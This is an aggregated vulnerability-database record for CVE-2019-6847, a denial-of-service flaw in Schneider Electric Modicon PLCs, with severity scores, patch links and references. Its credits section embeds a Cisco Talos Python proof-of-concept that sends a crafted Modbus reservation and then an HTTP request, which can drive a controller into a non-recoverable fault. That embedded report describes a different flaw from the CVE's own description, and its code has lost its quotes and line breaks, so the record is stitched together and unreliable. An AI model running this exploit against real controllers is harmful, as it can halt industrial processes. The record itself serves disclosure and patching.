ID

VAR-201910-0580


CVE

CVE-2019-6847


TITLE

Schneider Electric Modicon M580/M340/BMxCRA/140CRA Denial of service vulnerability

Trust: 0.8

sources: IVD: fdfc7aaf-7b5b-40b9-9299-e58b8cb8fa2a // CNVD: CNVD-2019-41494

DESCRIPTION

A CWE-755: Improper Handling of Exceptional Conditions vulnerability exists in Modicon M580, Modicon M340, Modicon BMxCRA and 140CRA modules (all firmware versions), which could cause a Denial of Service attack on the FTP service when upgrading the firmware with a version incompatible with the application in the controller using FTP protocol. plural Modicon The product contains an exceptional condition handling vulnerability.Service operation interruption (DoS) There is a possibility of being put into a state. The Modicon M580/M340/BMxCRA/140CRA are programmable logic controllers from Schneider Electric. A denial of service vulnerability exists in the Schneider Electric Modicon M580/M340/BMxCRA/140CRA

Trust: 2.34

sources: NVD: CVE-2019-6847 // JVNDB: JVNDB-2019-011436 // CNVD: CNVD-2019-41494 // IVD: fdfc7aaf-7b5b-40b9-9299-e58b8cb8fa2a

IOT TAXONOMY

category:['IoT', 'ICS']sub_category: -

Trust: 0.6

category:['ICS']sub_category: -

Trust: 0.2

sources: IVD: fdfc7aaf-7b5b-40b9-9299-e58b8cb8fa2a // CNVD: CNVD-2019-41494

AFFECTED PRODUCTS

vendor:schneider electricmodel:modicon 140crascope:eqversion:*

Trust: 1.0

vendor:schneider electricmodel:modicon bmxcrascope:eqversion:*

Trust: 1.0

vendor:schneider electricmodel:modicon m580scope:eqversion:*

Trust: 1.0

vendor:schneider electricmodel:modicon m340scope:eqversion:*

Trust: 1.0

vendor:schneider electricmodel:modicon 140crascope: - version: -

Trust: 0.8

vendor:schneider electricmodel:modicon bmxcrascope: - version: -

Trust: 0.8

vendor:schneider electricmodel:modicon m340scope: - version: -

Trust: 0.8

vendor:schneider electricmodel:modicon m580scope: - version: -

Trust: 0.8

vendor:schneidermodel:electric modicon m340scope: - version: -

Trust: 0.6

vendor:schneidermodel:electric modicon m580scope: - version: -

Trust: 0.6

vendor:schneidermodel:electric modicon bmxcrascope: - version: -

Trust: 0.6

vendor:schneidermodel:electric modicon 140crascope: - version: -

Trust: 0.6

vendor:modicon m580model: - scope:eqversion:*

Trust: 0.2

vendor:modicon m340model: - scope:eqversion:*

Trust: 0.2

vendor:modicon bmxcramodel: - scope:eqversion:*

Trust: 0.2

vendor:modicon 140cramodel: - scope:eqversion:*

Trust: 0.2

sources: IVD: fdfc7aaf-7b5b-40b9-9299-e58b8cb8fa2a // CNVD: CNVD-2019-41494 // JVNDB: JVNDB-2019-011436 // NVD: CVE-2019-6847

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov: CVE-2019-6847
value: MEDIUM

Trust: 1.0

NVD: CVE-2019-6847
value: MEDIUM

Trust: 0.8

CNVD: CNVD-2019-41494
value: MEDIUM

Trust: 0.6

CNNVD: CNNVD-201910-395
value: MEDIUM

Trust: 0.6

IVD: fdfc7aaf-7b5b-40b9-9299-e58b8cb8fa2a
value: MEDIUM

Trust: 0.2

nvd@nist.gov: CVE-2019-6847
severity: MEDIUM
baseScore: 4.0
vectorString: AV:N/AC:L/AU:S/C:N/I:N/A:P
accessVector: NETWORK
accessComplexity: LOW
authentication: SINGLE
confidentialityImpact: NONE
integrityImpact: NONE
availabilityImpact: PARTIAL
exploitabilityScore: 8.0
impactScore: 2.9
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 1.8

CNVD: CNVD-2019-41494
severity: MEDIUM
baseScore: 4.0
vectorString: AV:N/AC:L/AU:S/C:N/I:N/A:P
accessVector: NETWORK
accessComplexity: LOW
authentication: SINGLE
confidentialityImpact: NONE
integrityImpact: NONE
availabilityImpact: PARTIAL
exploitabilityScore: 8.0
impactScore: 2.9
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.6

IVD: fdfc7aaf-7b5b-40b9-9299-e58b8cb8fa2a
severity: MEDIUM
baseScore: 4.0
vectorString: AV:N/AC:L/AU:S/C:N/I:N/A:P
accessVector: NETWORK
accessComplexity: LOW
authentication: SINGLE
confidentialityImpact: NONE
integrityImpact: NONE
availabilityImpact: PARTIAL
exploitabilityScore: 8.0
impactScore: 2.9
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.9 [IVD]

Trust: 0.2

nvd@nist.gov: CVE-2019-6847
baseSeverity: MEDIUM
baseScore: 4.9
vectorString: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: HIGH
userInteraction: NONE
scope: UNCHANGED
confidentialityImpact: NONE
integrityImpact: NONE
availabilityImpact: HIGH
exploitabilityScore: 1.2
impactScore: 3.6
version: 3.1

Trust: 1.0

NVD: CVE-2019-6847
baseSeverity: MEDIUM
baseScore: 4.9
vectorString: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: HIGH
userInteraction: NONE
scope: UNCHANGED
confidentialityImpact: NONE
integrityImpact: NONE
availabilityImpact: HIGH
exploitabilityScore: NONE
impactScore: NONE
version: 3.0

Trust: 0.8

sources: IVD: fdfc7aaf-7b5b-40b9-9299-e58b8cb8fa2a // CNVD: CNVD-2019-41494 // JVNDB: JVNDB-2019-011436 // CNNVD: CNNVD-201910-395 // NVD: CVE-2019-6847

PROBLEMTYPE DATA

problemtype:CWE-755

Trust: 1.8

sources: JVNDB: JVNDB-2019-011436 // NVD: CVE-2019-6847

THREAT TYPE

remote

Trust: 0.6

sources: CNNVD: CNNVD-201910-395

TYPE

other

Trust: 0.8

sources: IVD: fdfc7aaf-7b5b-40b9-9299-e58b8cb8fa2a // CNNVD: CNNVD-201910-395

CONFIGURATIONS

sources: JVNDB: JVNDB-2019-011436

PATCH

title:SEVD-2019-281-02url:https://www.schneider-electric.com/ww/en/download/document/SEVD-2019-281-02

Trust: 0.8

title:Patch for Schneider Electric Modicon M580/M340/BMxCRA/140CRA Denial of Service Vulnerabilityurl:https://www.cnvd.org.cn/patchInfo/show/190779

Trust: 0.6

sources: CNVD: CNVD-2019-41494 // JVNDB: JVNDB-2019-011436

EXTERNAL IDS

db:NVDid:CVE-2019-6847

Trust: 3.2

db:SCHNEIDERid:SEVD-2019-281-02

Trust: 1.6

db:CNVDid:CNVD-2019-41494

Trust: 0.8

db:CNNVDid:CNNVD-201910-395

Trust: 0.8

db:JVNDBid:JVNDB-2019-011436

Trust: 0.8

db:TALOSid:TALOS-2019-0847

Trust: 0.6

db:IVDid:FDFC7AAF-7B5B-40B9-9299-E58B8CB8FA2A

Trust: 0.2

sources: IVD: fdfc7aaf-7b5b-40b9-9299-e58b8cb8fa2a // CNVD: CNVD-2019-41494 // JVNDB: JVNDB-2019-011436 // CNNVD: CNNVD-201910-395 // NVD: CVE-2019-6847

REFERENCES

url:https://nvd.nist.gov/vuln/detail/cve-2019-6847

Trust: 2.0

url:https://www.se.com/ww/en/download/document/sevd-2019-281-02/

Trust: 1.6

url:https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2019-6847

Trust: 0.8

url:https://www.schneider-electric.com/ww/en/download/document/sevd-2019-281-02

Trust: 0.6

url:https://www.talosintelligence.com/vulnerability_reports/talos-2019-0847

Trust: 0.6

sources: CNVD: CNVD-2019-41494 // JVNDB: JVNDB-2019-011436 // CNNVD: CNNVD-201910-395 // NVD: CVE-2019-6847

CREDITS

Discovered by Jared Rittle and Patrick DeSantis of Cisco Talos https://talosintelligence.com/vulnerability_reports/ Timeline 2019-06-21 - Vendor Disclosure Summary An exploitable denial of service vulnerability exists in the UMAS REST API getcominfo functionality of the Schneider Electric Modicon M580 Programmable Automation Controller firmware version SV2.80. A specially crafted HTTP request can cause the device to enter a non-recoverable fault state , resulting in a complete stoppage of remote communications with the device. An attacker can send unauthenticated commands to trigger this vulnerability. Tested Versions Schneider Electric Modicon M580 BMEP582040 SV2.80 Product URLs https://www.schneider-electric.com/en/work/campaign/m580-epac/ CVSSv3 Score 8.6 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H CWE CWE-248: Uncaught Exception Details The Modicon M580 is the latest in Schneider Electric's Modicon line of Programmable Automation Controllers. The device boasts a Wurldtech Achilles Level 2 certification and global policy controls to quickly enforce various security configurations. Communication with the device is possible over FTP , TFTP , HTTP , SNMP , EtherNet/IP , Modbus , and a management protocol referred to as UMAS. A REST API that allows clients to interact with various pieces of functionality on the device is on the web server , including viewing alarms , querying rack information , and performing select UMAS requests. It is possible to read the registered name of the client holding a PLC reservation by leveraging the /rest/umas/getcominfo UMAS endpoint. In cases where a client has obtained a reservation using a registered name of at least 0x34 bytes , a request to the getcominfo endpoint will sometimes cause the device to enter a non-recoverable fault state. In cases where the fault state does not occur , the HTTP server will become unresponsive. In the non-recoverable fault state , the CPU has entered an error mode where all remote communications have been stopped , process logic stops execution , and the device requires a physical power cycle to regain functionality. Exploit Proof of Concept import structimport socketimport requestsimport random# set up static datarhost = 192.168.10.1rport = 502verbose = Truedef main(): s = socket.socket(socket.AF_INET , socket.SOCK_STREAM) s.connect((rhost , rport)) clientname = A*255 clientnameLen = struct.pack(B , len(clientname)) mbapLen = struct.pack(>H , len(clientname) + 9) transid = struct.pack(>H , random.randint(1 , 255)) msg = {}x00x00{}x00x5ax00x10x3bx0ex00x00{}{}.format(transid , mbapLen , clientnameLen , clientname) s.send(msg) try: uri = http://{}/rest/umas/getcominfo.format(rhost) resp = requests.get(uri , timeout=5) except requests.exceptions.ReadTimeout: print([*] Request timed out. This usually indicates a device fault) except KeyboardInterrupt: print([*] Exiting...) s.close()if __name__ == '__main__': main() Timeline 2019-06-21 - Vendor Disclosure 2019-08-29 - Vendor requested to reject issue 2019-09-03 - Talos provided additional feedback to substantiate vulnerability 2019-09-20 - Vendor acknowledged issue as vulnerability & advised plan for October 2019 disclosure 2019-10-08 - Public Release Credit Discovered by Jared Rittle of Cisco Talos,Discovered by Jared Rittle and Patrick DeSantis of Cisco Talos

Trust: 0.6

sources: CNNVD: CNNVD-201910-395

SOURCES

db:IVDid:fdfc7aaf-7b5b-40b9-9299-e58b8cb8fa2a
db:CNVDid:CNVD-2019-41494
db:JVNDBid:JVNDB-2019-011436
db:CNNVDid:CNNVD-201910-395
db:NVDid:CVE-2019-6847

LAST UPDATE DATE

2024-11-23T21:36:37.604000+00:00


SOURCES UPDATE DATE

db:CNVDid:CNVD-2019-41494date:2019-11-20T00:00:00
db:JVNDBid:JVNDB-2019-011436date:2019-11-07T00:00:00
db:CNNVDid:CNNVD-201910-395date:2021-04-20T00:00:00
db:NVDid:CVE-2019-6847date:2024-11-21T04:47:16.320

SOURCES RELEASE DATE

db:IVDid:fdfc7aaf-7b5b-40b9-9299-e58b8cb8fa2adate:2019-11-20T00:00:00
db:CNVDid:CNVD-2019-41494date:2019-11-19T00:00:00
db:JVNDBid:JVNDB-2019-011436date:2019-11-07T00:00:00
db:CNNVDid:CNNVD-201910-395date:2019-10-08T00:00:00
db:NVDid:CVE-2019-6847date:2019-10-29T19:15:22.267